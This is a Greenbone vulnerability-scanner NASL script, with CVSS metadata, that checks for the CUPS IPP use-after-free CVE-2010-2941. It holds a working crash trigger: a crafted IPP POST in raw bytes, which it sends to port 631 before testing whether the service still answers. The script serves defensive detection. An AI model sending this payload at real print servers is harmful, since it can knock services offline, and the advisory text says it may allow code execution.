CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
98.0%
CUPS is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apple:cups";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.800182");
script_version("2024-02-05T05:05:38+0000");
script_tag(name:"last_modification", value:"2024-02-05 05:05:38 +0000 (Mon, 05 Feb 2024)");
script_tag(name:"creation_date", value:"2010-11-18 06:30:08 +0100 (Thu, 18 Nov 2010)");
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2024-02-02 16:35:18 +0000 (Fri, 02 Feb 2024)");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_cve_id("CVE-2010-2941");
script_name("CUPS IPP < 1.4.5 Use After Free DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2010 Greenbone AG");
script_family("Denial of Service");
script_dependencies("gb_cups_http_detect.nasl");
script_require_ports("Services/www", 631);
script_mandatory_keys("cups/http/detected");
script_tag(name:"summary", value:"CUPS is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted IPP request and checks if the service is still
responding.");
script_tag(name:"insight", value:"The flaw is caused by improper allocation of memory for attribute
values with invalid string data type.");
script_tag(name:"impact", value:"Successful exploitation will let the remote unauthenticated
attackers to cause a denial of service (use-after-free and application crash) or possibly execute
arbitrary code via a crafted IPP request.");
script_tag(name:"affected", value:"CUPS version 1.4.4 and prior.");
script_tag(name:"solution", value:"Update to version 1.4.5 or later.");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/62882");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44530");
script_xref(name:"URL", value:"https://bugzilla.redhat.com/show_bug.cgi?id=624438");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! get_app_location( port:port, cpe:CPE, nofork:TRUE ) )
exit( 0 );
host = http_host_name( port:port );
if( ! soc = open_sock_tcp( port ) )
exit( 0 );
post_data = string( 'POST /ipp/ HTTP/1.1\r\n',
'Host: ' + host + '\r\n',
'User-Agent: CUPS/1.3.4\r\n',
'Content-Type: application/ipp\r\n',
'Content-Length: 289\r\n',
'Expect: 100-continue\r\n\r\n'
);
raw_data = raw_string( 0x01, 0x01, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x01,
0x47, 0x00, 0x12, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62,
0x75, 0x74, 0x65, 0x73, 0x2d, 0x63, 0x68, 0x61, 0x72,
0x73, 0x65, 0x74, 0x00, 0x05, 0x75, 0x74, 0x66, 0x2d,
0x38, 0x48, 0x00, 0x1b, 0x61, 0x74, 0x74, 0x72, 0x69,
0x62, 0x75, 0x74, 0x65, 0x73, 0x2d, 0x6e, 0x61, 0x74,
0x75, 0x72, 0x61, 0x6c, 0x2d, 0x6c, 0x61, 0x6e, 0x67,
0x75, 0x61, 0x67, 0x65, 0x00, 0x05, 0x65, 0x6e, 0x2d,
0x75, 0x73, 0x45, 0x00, 0x0b, 0x70, 0x72, 0x69, 0x6e,
0x74, 0x65, 0x72, 0x2d, 0x75, 0x72, 0x69, 0x00, 0x1b,
0x69, 0x70, 0x70, 0x3a, 0x2f, 0x2f, 0x31, 0x30, 0x2e,
0x31, 0x30, 0x2e, 0x31, 0x30, 0x2e, 0x32, 0x35, 0x31,
0x3a, 0x36, 0x33, 0x31, 0x2f, 0x69, 0x70, 0x70, 0x2f,
0x38, 0x00, 0x14, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73,
0x74, 0x65, 0x64, 0x2d, 0x61, 0x74, 0x74, 0x72, 0x69,
0x62, 0x75, 0x74, 0x65, 0x73, 0x00, 0x10, 0x63, 0x6f,
0x70, 0x69, 0x65, 0x73, 0x2d, 0x73, 0x75, 0x70, 0x70,
0x6f, 0x72, 0x74, 0x65, 0x64, 0x44, 0x00, 0x00, 0x00,
0x19, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74,
0x2d, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x2d, 0x73,
0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x44,
0x00, 0x00, 0x00, 0x19, 0x70, 0x72, 0x69, 0x6e, 0x74,
0x65, 0x72, 0x2d, 0x69, 0x73, 0x2d, 0x61, 0x63, 0x63,
0x65, 0x70, 0x74, 0x69, 0x6e, 0x67, 0x2d, 0x6a, 0x6f,
0x62, 0x73, 0x44, 0x00, 0x00, 0x00, 0x0d, 0x70, 0x72,
0x69, 0x6e, 0x74, 0x65, 0x72, 0x2d, 0x73, 0x74, 0x61,
0x74, 0x65, 0x44, 0x00, 0x00, 0x00, 0x15, 0x70, 0x72,
0x69, 0x6e, 0x74, 0x65, 0x72, 0x2d, 0x73, 0x74, 0x61,
0x74, 0x65, 0x2d, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67,
0x65, 0x44, 0x00, 0x00, 0x00, 0x15, 0x70, 0x72, 0x69,
0x6e, 0x74, 0x65, 0x72, 0x2d, 0x73, 0x74, 0x61, 0x74,
0x65, 0x2d, 0x72, 0x65, 0x61, 0x73, 0x6f, 0x6e, 0x73,
0x03
);
send( socket:soc, data:post_data );
send( socket:soc, data:raw_data );
close( soc );
sleep( 5 );
soc = open_sock_tcp( port );
if( ! soc ) {
security_message( port:port );
exit( 0 );
}
close( soc );
exit( 99 );
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
98.0%